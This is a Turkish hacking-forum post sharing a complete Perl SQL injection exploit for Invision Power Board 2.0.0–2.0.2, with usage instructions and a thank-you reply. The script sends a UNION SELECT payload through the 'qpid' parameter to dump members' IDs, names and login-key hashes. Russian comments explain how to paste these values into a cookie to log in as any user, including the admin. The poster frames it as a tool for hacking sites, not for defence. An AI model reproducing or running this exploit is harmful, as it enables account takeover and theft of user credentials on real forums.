Invision Power Board v2.0.0 - 2.0.2 sql injection exploit

[Death_AngeL]

Invision Power Board v2.0.0 - 2.0.2 sql injection exploit
herkes site hackliyo bende exploit vereyim
Bu exploit Perl Programı ile derlenir

Ayrıca Bu herhangibi bir cookie açığı değildir.O yüzden direk cookie sini veremeyizBu sql injection exploitidir.Admin md5 hash ını verir.
Kullanım ise aşağıdaki kodu kendinize göre düzenleyip perl komutuna dos da yazın.
r57ipb.pl 127.0.0.1 /IPB202/ 2 1 3edb1eaeea640d297ee3b1f78b5679b3 ibf_

http://www.activestate.com/Products/Download/Download.plex?id=ActivePerl burdan active perl indirin

#!/usr/bin/perl
use IO::Socket;

## Invision Power Board v2.0.0 - 2.0.2 sql injection exploit
## by RusH security team (www.rst.void.ru)
## coded by 1dt.w0lf
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
## example:
##
## r57ipb.pl 127.0.0.1 /IPB202/ 2 1 3edb1eaeea640d297ee3b1f78b5679b3
## ------------------------------------------------------------------------------------------------
## [>] SERVER: 127.0.0.1
## [>]    DIR: /IPB202/
## [>]  FORUM: 2
## [>]  TOPIC: 1
## [>]    SID: 3edb1eaeea640d297ee3b1f78b5679b3
## [>] PREFIX:
## [>]     ID:
## ------------------------------------------------------------------------------------------------
## 
## [~] PREPARE TO CONNECT...
## [+] CONNECTED
## [~] SENDING QUERY...
## [+] DONE!
## 
## PREFIX: ibf_
##
## r57ipb.pl 127.0.0.1 /IPB202/ 2 1 3edb1eaeea640d297ee3b1f78b5679b3 ibf_
## ------------------------------------------------------------------------------------------------
## [>] SERVER: 127.0.0.1
## [>]    DIR: /IPB202/
## [>]  FORUM: 2
## [>]  TOPIC: 1
## [>]    SID: 3edb1eaeea640d297ee3b1f78b5679b3
## [>] PREFIX: ibf_
## [>]     ID:
## ------------------------------------------------------------------------------------------------
## 
## [~] PREPARE TO CONNECT...
## [+] CONNECTED
## [~] SENDING QUERY...
## [+] DONE!
## 
## --[ REPORT ]------------------------------------------------------------------------------------
## MEMBER_ID: [1] NAME: [admin] PASS_HASH: [73dea61281aa9b08ed31b4ae2bb9954e]
## ------------------------------------------------------------------------------------------------
## Now you need edit cookie and insert new pass_hash and member_id values.
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
## Пару слов о возвращаемом эксплоитом результате:
## Значение pass_hash это не зашифрованный пароль юзера!!! а одноименное значение из кукиса с
## помощью которого можно войти на форум под любым юзером без ввода пароля. 
## member_id это также одноименное значение из кукиса.
## Поэтому не стоит пытаться расшифровать pass_hash =) Просто зарегистрируйтесь на форуме и измените
## pass_hash и member_id в вашем cookie на одно из значений которые выдаст сплоит.
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


if (@ARGV < 5)
{
print "-------------------------------------------------------------------------
";
print "       Invision Power Board v2.0.0 - 2.0.2 sql injection exploit
";
print "-------------------------------------------------------------------------
";
print "usage:
";
print "r57ipb.pl SERVER /DIR/ FORUM_NUM TOPIC_NUM SID [TABLE_PREFIX] [USER_ID]

";
print "SERVER         - server where IPB installed
";
print "/DIR/          - IPB directory or / for no directory
";
print "FORUM_NUM      - number of existing forum
";
print "TOPIC_NUM      - number of existing topic
";
print "SID            - your session id
";
print "[TABLE_PREFIX] - table prefix in database
";
print "[USER_ID]      - user id for exploiting

"; 
print "e.g. r57ipb.pl 127.0.0.1 /IPB/ 2 1 4496b6d35c1bc0662d721c207f81784e ibf_
";
print "-------------------------------------------------------------------------
";
exit();
}

if (@ARGV < 6) { $get_table = 1; }

$server = $ARGV[0];
$dir    = $ARGV[1];
$fnum   = $ARGV[2];
$tnum   = $ARGV[3];
$sid    = $ARGV[4];
$prefix = $ARGV[5];
$id     = $ARGV[6];

print "------------------------------------------------------------------------------------------------
";
print "[>] SERVER: $server
";
print "[>]    DIR: $dir
";
print "[>]  FORUM: $fnum
";
print "[>]  TOPIC: $tnum
";
print "[>]    SID: $sid
";
print "[>] PREFIX: $prefix
";
print "[>]     ID: $id
";
print "------------------------------------------------------------------------------------------------

";

$server =~ s/(http://)//eg;

$path  = $dir;
$path .= "index.php?s=";
$path .= $sid;
$path .= "&act=Post&CODE=02&f=";
$path .= $fnum;
$path .= "&t=";
$path .= $tnum;
if ($get_table == 1) 
 {
 $path .= "&qpid=r57"
 }
else
 {
$path .= "&qpid=666666666)%20union%20select%201,1,1,1,1,1,1,1,1,1,CONCAT(id,char(58),name,char(58),
member_login_key),1,1,1,1,1,1,1,1,1%20from%20";
$path .= $prefix;
$path .= "members";
$path .= ($id)?("%20WHERE%20id=$id%20"):("%20");
$path .= "/*";
 }
print "[~] PREPARE TO CONNECT...
";

$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80") || die "[-]
 CONNECTION FAILED";

print "[+] CONNECTED
";
print "[~] SENDING QUERY...
";
print $socket "GET $path HTTP/1.1
";
print $socket "Host: $server
";                                  
print $socket "Accept: */*
";
print $socket "Connection: close

";
print "[+] DONE!

";

$suc =0;

if ($get_table == 1)
 {
 while ($answer = <$socket>)
  {
  if ($answer =~ /(mysql query error: )(.*)( FROM )(.*)(posts)/){ print "PREFIX: $4
"; $suc = 1; }
  }
 if (!$suc) { print "Exploit failed
"; }
 exit();
 }

print "--[ REPORT ]------------------------------------------------------------------------------------
";
while ($answer = <$socket>)
{
 if ($answer =~ /^([^:]*):([^:]*):([a-z,0-9]{32})$/) { print "MEMBER_ID: [$1] NAME: [$2] PASS_HASH: 
[$3]
"; $suc = 1; }
}
print "------------------------------------------------------------------------------------------------
";
if ($suc == 1) { print "Now you need edit cookie and insert new pass_hash and member_id values.
"; 
exit(); }
else { print "Exploit failed
"; }

 

[Partizan]

saoLasin Death eLine sagLik...